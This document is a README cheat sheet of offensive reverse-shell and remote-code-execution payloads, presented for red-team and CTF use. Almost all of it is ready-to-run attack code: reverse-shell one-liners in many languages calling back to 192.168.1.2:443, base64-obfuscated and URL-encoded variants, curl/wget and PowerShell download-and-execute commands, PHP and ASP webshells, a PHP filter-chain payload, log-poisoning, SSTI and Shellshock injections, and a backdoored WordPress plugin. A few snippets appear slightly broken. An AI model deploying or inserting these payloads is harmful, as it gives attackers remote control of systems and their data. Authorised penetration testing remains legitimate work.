README.md

Offensive Reverse Shell (Cheat Sheet)

Welcome to the Offensive Reverse Shell (Cheat Sheet), a comprehensive repository curated specifically for Red Team Operations, Penetration Testing, and Security Research. This repository contains a variety of reverse shell payloads crafted in different languages and configurations to suit diverse scenarios and environments.

Warning

All content in this repository is intended strictly for educational purposes and authorized security testing in controlled environments only, whether real or CTF.

Table of Contents

• Bash
• Netcat
  • Netcat Linux
  • Netcat Windows
  • Netcat BusyBox
• cURL
• Wget
• Node-RED
• WebShells
  • Exif Data
  • ASP WebShell
  • PHP WebShell
    • GET
    • POST
    • Chain Filter
    • Log Poisoning WebShell
      • SSH
      • FTP
      • HTTP
      • RSYNC
• Server Side Template Injection (SSTI)
• UnrealIRCd
• Exif Data
• Shellshock
  • SSH
  • HTTP
    • HTTP 500 Internal Server Error
• CMS
  • WordPress
  • October
  • Jenkins
    • Windows
    • Linux
• Perl
• Python
• Python3
• PHP
• Ruby
• Xterm
• Ncat
• Socat
• PowerShell
• Awk
• Gawk
• Golang
• Telnet
• Java
• Node
• Msfvenom
  • Web Payloads
    • PHP
    • WAR (Tomcat)
    • JAR
    • JSP
    • ASPX
  • Linux Payloads
    • Listener Netcat
    • Listener Metasploit Multi Handler
  • Windows Payloads
    • Listener Netcat
    • Listener Metasploit Multi Handler

---

Bash

TCP

-i

#sh
sh -i >& /dev/tcp/192.168.1.2/443 0>&1
/bin/sh -i >& /dev/tcp/192.168.1.2/443 0>&1
#bash
bash -i >& /dev/tcp/192.168.1.2/443 0>&1
/bin/bash -i >& /dev/tcp/192.168.1.2/443 0>&1

196

#sh
0<&196;exec 196<>/dev/tcp/192.168.1.2/443; sh <&196 >&196 2>&196
0<&196;exec 196<>/dev/tcp/192.168.1.2/443; /bin/sh <&196 >&196 2>&196
#bash
0<&196;exec 196<>/dev/tcp/192.168.1.2/443; bash <&196 >&196 2>&196
0<&196;exec 196<>/dev/tcp/192.168.1.2/443; /bin/bash <&196 >&196 2>&196

read line

exec 5<>/dev/tcp/192.168.1.2/443;cat <&5 | while read line; do $line 2>&5 >&5; done

5

#sh
sh -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5
/bin/sh -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5
#bash
bash -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5
/bin/bash -i 5<> /dev/tcp/192.168.1.2/443 0<&5 1>&5 2>&5

-c

bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'
#basic url encode
bash -c 'bash -i >%26 /dev/tcp/192.168.1.2/443 0>%261'
#full url encode
bash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.2%2F443%200%3E%261%27

UDP

#sh
sh -i >& /dev/udp/192.168.1.2/443 0>&1
/bin/sh -i >& /dev/udp/192.168.1.2/443 0>&1
#bash
bash -i >& /dev/udp/192.168.1.2/443 0>&1
/bin/bash -i >& /dev/udp/192.168.1.2/443 0>&1

---

Netcat

Netcat Linux

-e

#sh
nc 192.168.1.2 443 -e sh
nc 192.168.1.2 443 -e /bin/sh
#bash
nc 192.168.1.2 443 -e bash
nc 192.168.1.2 443 -e /bin/bash

-c

#sh
nc -c sh 192.168.1.2 443
nc -c /bin/sh 192.168.1.2 443
#bash
nc -c bash 192.168.1.2 443
nc -c /bin/bash 192.168.1.2 443

NO -e -c

#1) create FIFO pipe (pipeline)
mknod /tmp/backpipe p
#2) reverse shell
/bin/sh 0</tmp/backpipe | nc 192.168.1.2 443 1>/tmp/backpipe

fifo

#sh
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f
#bash
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.1.2 443 >/tmp/f
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.1.2 443 >/tmp/f
#url encode
rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20192.168.1.2%20443%20%3E%2Ftmp%2Ff

#base64
#atacker
base64 -w 0 <<< 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f'
cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4xLjIgNDQzID4vdG1wL2YK
nc -lvnp 443
#victim
echo 'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4xLjIgNDQzID4vdG1wL2YK' |base64 -d |sh
#or
http://192.168.1.3/cmd.php?cmd=echo 'cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTkyLjE2OC4xLjIgNDQzID4vdG1wL2YK' |base64 -d |sh

---

Netcat Windows

nc.exe -e cmd 192.168.1.2 443
#smbserver
cp $(locate nc.exe) . && impacket-smbserver a $(pwd) -smb2support
\\192.168.1.2\a\nc.exe -e cmd 192.168.1.2 443

---

Netcat BusyBox

#sh
busybox nc 192.168.1.2 443 -e sh
busybox nc 192.168.1.2 443 -e /bin/sh
#bash
busybox nc 192.168.1.2 443 -e bash
busybox nc 192.168.1.2 443 -e /bin/bash
#not space
busybox${IFS}nc${IFS}192.168.1.2${IFS}443${IFS}-e${IFS}sh

---

cURL

#atacker
echo "nc -e /bin/sh 192.168.1.2 443" > index.html && python3 -m http.server 80
nc -lvnp 443
#victim
http://192.168.1.3/cmd.php?cmd=curl 192.168.1.2/index.html|sh

---

Wget

#atacker
echo "nc -e /bin/sh 192.168.1.2 443" > index.html && python3 -m http.server 80
nc -lvnp 443
#victim
http://192.168.1.3/cmd.php?cmd=wget -qO- 192.168.1.2/index.html|sh

---

Node-RED

[{"id":"7235b2e6.4cdb9c","type":"tab","label":"Flow 1"},{"id":"d03f1ac0.886c28","type":"tcp out","z":"7235b2e6.4cdb9c","host":"","port":"","beserver":"reply","base64":false,"end":false,"name":"","x":786,"y":350,"wires":[]},{"id":"c14a4b00.271d28","type":"tcp in","z":"7235b2e6.4cdb9c","name":"","server":"client","host":"192.168.1.2","port":"443","datamode":"stream","datatype":"buffer","newline":"","topic":"","base64":false,"x":281,"y":337,"wires":[["4750d7cd.3c6e88"]]},{"id":"4750d7cd.3c6e88","type":"exec","z":"7235b2e6.4cdb9c","command":"","addpay":true,"append":"","useSpawn":"false","timer":"","oldrc":false,"name":"","x":517,"y":362.5,"wires":[["d03f1ac0.886c28"],["d03f1ac0.886c28"],["d03f1ac0.886c28"]]}]

---

WebShells

Exif Data WebShell

exiftool -Comment='<?php system($_GET['cmd']); ?>' filename.png
mv filename.png filename.php.png

ASP WebShell

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

PHP WebShell

Chain Filter

http://192.168.1.2/file.php?file="paste chain filter"

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp&cmd=id

GET

<?=`$_GET[cmd]`?>
<?php system($_GET['cmd']); ?>
GIF89a; <?php system($_GET['cmd']); ?>
<?php passthru($_GET['cmd']); ?>
<?php echo exec($_GET['cmd']); ?>
<?php system($_REQUEST['cmd']); ?>
<?php echo shell_exec($_GET['cmd']); ?>
<pre><?php system($_GET['cmd']); ?></pre>
<pre><h1><?php system($_GET['cmd']); ?></h1></pre>
<?php echo "<pre>" . shell_exec($_REQUEST['cmd']) . "</pre>"; ?>

POST

<?php system($_POST['cmd']); ?>

---

Log Poisoning WebShell

Log Poisoning SSH

/var/log/auth.log

ssh '<?php system($_GET["cmd"]); ?>'@192.168.1.2

file.php?file=/var/log/auth.log&cmd=id

---

Log Poisoning FTP

/var/log/vsftpd.log

lftp -u '<?php system($_GET["cmd"]); ?>', 192.168.1.2

file.php?file=/var/log/vsftpd.log&cmd=id

---

Log Poisoning HTTP

Apache2: /var/log/apache2/access.log
Nginx: /var/log/nginx/access.log

curl -s -H "User-Agent: <?php system(\$_GET['cmd']); ?>" "http://192.168.1.2"

User-Agent: <?php system($_GET['cmd']); ?>

Apache2: file.php?file=/var/log/apache2/access.log&cmd=id Nginx: file.php?file=/var/log/nginx/access.log&cmd=id

---

Log Poisoning RSYNC

/var/log/rsyncd.log

rsync 192.168.1.2::'<?php system($_GET["cmd"]); ?>'

file.php?file=/var/log/rsyncd.log&cmd=id

---

Server Side Template Injection

{{request.application.__globals__.__builtins__.__import__('os').popen('nc -e /bin/sh 192.168.1.2 443').read()}}

{{''.__class__.__mro__[1].__subclasses__()[373]("bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'",shell=True,stdout=-1).communicate()[0].strip()}}

{% for x in ().__class__.__base__.__subclasses__() %}{% if "warning" in x.__name__ %}{{x()._module.__builtins__['__import__']('os').popen("python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.1.2\",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\", \"-i\"]);'").read().zfill(417)}}{%endif%}{% endfor %}

{% import os %}{{os.system('bash -c "bash -i >& /dev/tcp/192.168.1.2/443 0>&1"')}}

%7B%25%20import%20os%20%25%7D%7B%7Bos.system%28%27bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.1.2%2F443%200%3E%261%22%27%29%7D%7D

---

UnrealIRCd

root@kali:~# echo "AB;nc -e /bin/sh 192.168.1.2 443" |nc 192.168.1.3 6697

---

Exif Data Reverse Shell

root@kali:~# exiftool -Comment='<?php system("nc -e /bin/bash 192.168.1.2 443"); ?>' filename.png
root@kali:~# mv filename.png filename.php.png

---

Shellshock

Shellshock SSH

ssh [email protected] '() { :;}; nc 192.168.1.2 443 -e /bin/bash'
ssh [email protected] -i id_rsa '() { :;}; nc 192.168.1.2 443 -e /bin/bash'

---

Shellshock HTTP

curl -H 'Cookie: () { :;}; /bin/bash -i >& /dev/tcp/192.168.1.2/443 0>&1' http://192.168.1.3/cgi-bin/test.sh

curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh"

curl -H "User-Agent: () { :; }; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"

---

Shellshock HTTP 500 Internal Server Error

curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh"
curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.sh"
curl -H "User-Agent: () { :; }; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"
curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'" "http://192.168.1.3/cgi-bin/evil.cgi"

---

CMS

WordPress

Create Plugin (Reverse Shell)

touch plugin.php
nano plugin.php

Content

<?php
  /**
  * Plugin Name: WordPress (Reverse Shell)
  * Plugin URI: https://wordpress.org
  * Description: (Pwn3d!)
  * Version: 1.0
  * Author: d4t4s3c
  * Author URI: https://github.com/d4t4s3c
  */
  exec("busybox nc 192.168.1.2 443 -e /bin/sh");
?>

Compress

zip plugin.zip plugin.php

Steps

• Plugins

• Add New

• Upload Plugin

• Install Now

• Activate Plugin

---

October

function onstart(){
  exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.1.2/443 0>&1'");
}

---

Jenkins

Jenkins Windows

Netcat (Method 1)

cmd = "\\\\192.168.1.2\\a\\nc.exe -e cmd 192.168.1.2 443"
cmd.execute().text

Netcat (Method 2)

println "\\\\192.168.1.2\\a\\nc.exe -e cmd 192.168.1.2 443" .execute().text

CMD

String host="192.168.1.2";
int port=443;
String cmd="cmd.exe";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

PowerShell

command = "powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2:8000/reverse.ps1')"
println(command.execute().text)

Jenkins Linux

Netcat (Method 1)

cmd = "nc -e /bin/sh 192.168.1.10 443"
cmd.execute().text

Netcat (Method 2)

"nc -e /bin/sh 192.168.1.2 443".execute().text

Bash

String host="192.168.1.2";
int port=443;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();

---

Perl

perl -e 'use Socket;$i="192.168.1.2";$p=443;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

---

Python

Sh

export RHOST="192.168.1.2";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

export RHOST="192.168.1.2";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

Bash

export RHOST="192.168.1.2";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

export RHOST="192.168.1.2";export RPORT=443;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

---

Python3

Sh

export RHOST="192.168.1.2";export RPORT=443;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("sh")'

export RHOST="192.168.1.2";export RPORT=443;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")'

Bash

export RHOST="192.168.1.2";export RPORT=443;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")'

export RHOST="192.168.1.2";export RPORT=443;python3 -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/bash")'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("bash")'

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.2",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

---

PHP

<?php exec("nc -e /bin/sh 192.168.1.2 443"); ?>

<?php passthru("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1.2 443 >/tmp/f"); ?>

php -r '$sock=fsockopen("192.168.1.2",443);`/bin/sh -i <&3 >&3 2>&3`;'
php -r '$sock=fsockopen("192.168.1.2",443);exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("192.168.1.2",443);system("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("192.168.1.2",443);passthru("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("192.168.1.2",443);popen("/bin/sh -i <&3 >&3 2>&3", "r");'
php -r '$sock=fsockopen("192.168.1.2",443);shell_exec("/bin/sh -i <&3 >&3 2>&3");'
php -r '$sock=fsockopen("192.168.1.2",443);$proc=proc_open("/bin/sh -i", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);'

---

Ruby

ruby -rsocket -e'f=TCPSocket.open("192.168.1.2",443).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.2","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
ruby -rsocket -e 'c=TCPSocket.new("192.168.1.2","443");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

---

Xterm

xterm -display 192.168.1.2:443

---

Ncat

TCP

ncat 192.168.1.2 443 -e /bin/sh
ncat 192.168.1.2 443 -e /bin/bash

UDP

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|ncat -u 192.168.1.2 443 >/tmp/f

---

Socat

socat TCP:192.168.1.2:443 EXEC:sh

socat TCP:192.168.1.2:443 EXEC:'bash -li',pty,stderr,setsid,sigint,sane

---

PowerShell

powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("192.168.1.2",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2  = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('192.168.1.2',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

powershell IEX (New-Object Net.WebClient).DownloadString('http://192.168.1.2:8000/reverse.ps1')

C:\Windows\SysNative\WindowsPowerShell\v1.0\powershell.exe IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.2/shell.ps1')

powershell -c "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.1.2/powercat.ps1');powercat -c 192.168.1.2 -p 443 -e cmd"

---

Awk

awk 'BEGIN {s = "/inet/tcp/0/192.168.1.2/443"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null

---

Gawk

gawk 'BEGIN {P=443;S="> ";H="192.168.1.2";V="/inet/tcp/0/"H"/"P;while(1){do{printf S|&V;V|&getline c;if(c){while((c|&getline)>0)print $0|&V;close(c)}}while(c!="exit")close(V)}}'

---

Golang

echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.1.2:443");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go

---

Telnet

rm -f /tmp/p; mknod /tmp/p p && telnet 192.168.1.2 443 0/tmp/p

telnet 192.168.1.2 80 | /bin/bash | telnet 192.168.1.2 443

mknod a p && telnet 192.168.1.2 443 0<a | /bin/sh 1>a

TF=$(mktemp -u);mkfifo $TF && telnet 192.168.1.2 443 0<$TF | sh 1>$TF

---

Java

r = Runtime.getRuntime()
p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.2/443;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
